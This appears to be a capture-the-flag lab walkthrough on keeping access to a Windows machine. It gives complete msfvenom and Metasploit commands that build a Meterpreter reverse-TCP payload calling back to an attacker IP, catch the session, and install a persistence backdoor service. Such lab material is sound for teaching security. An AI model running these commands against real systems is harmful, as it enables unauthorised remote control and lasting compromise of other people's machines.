Windows
This covers a simple way to maintain access on a Windows machine: land a Meterpreter shell, then use the Metasploit persistence module to drop a backdoor service. The service gives an instant Meterpreter shell again if the machine is shut down or reset. Advanced backdoors and rootkits are out of scope for this room.
This needs more manual setup than the other tasks, so previous knowledge of msfvenom and Metasploit helps.
Quick Notes
Generate the payload, set up the handler, and catch the session:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 --format exe -o payload.exe
use exploit/multi/handler
set LHOST 10.13.28.215
set LPORT 1337
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Once the payload calls back to the listener, background the session with CTRL+Z, then run the persistence module against it:
use exploit/windows/local/persistence
set SESSION 1
exploit
Generating a Payload with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exegenerates a basic Windows Meterpreter reverse TCP shell.
- Transfer the payload from the attacker machine to the target machine.
use exploit/multi/handlercreates a listener on the port you set it on.- Configure the payload to be a Windows Meterpreter shell:
set payload windows/meterpreter/reverse_tcp. - After setting your THM IP address as the
LHOST, start the listener withrun. - Executing the binary on the Windows machine gives a Meterpreter shell back on your host.
- Verify the Meterpreter shell, then
backgroundit to run the persistence module.
Running the Persistence Module
use exploit/windows/local/persistencesends a payload every 10 seconds by default, though you can set this interval to anything you want.set session 1sets the session to the one you backgrounded in Meterpreter. Use thesessionscommand in Metasploit to list the active sessions.
If the system is shut down or reset, you lose your Meterpreter session. The persistence module leaves a backdoor you can reach at any time with the Metasploit multi handler, setting the payload to windows/meterpreter/reverse_tcp to send another Meterpreter payload to the machine and open a new session.
Here the session dies, but the second the handler runs again we get a Meterpreter shell back thanks to the persistence service.
There are other ways of maintaining access such as adding users and rootkits; I'll leave you to do your own research and labs on those topics.
Resources -
- https://blog.harmj0y.net/
- https://adsecurity.org/?page_id=1821
- https://metasploit.help.rapid7.com/docs/about-post-exploitation
- http://www.pentest-standard.org/index.php/Post_Exploitation
- https://offsec.red/mimikatz-cheat-sheet/
- https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
Tools/Malware Used -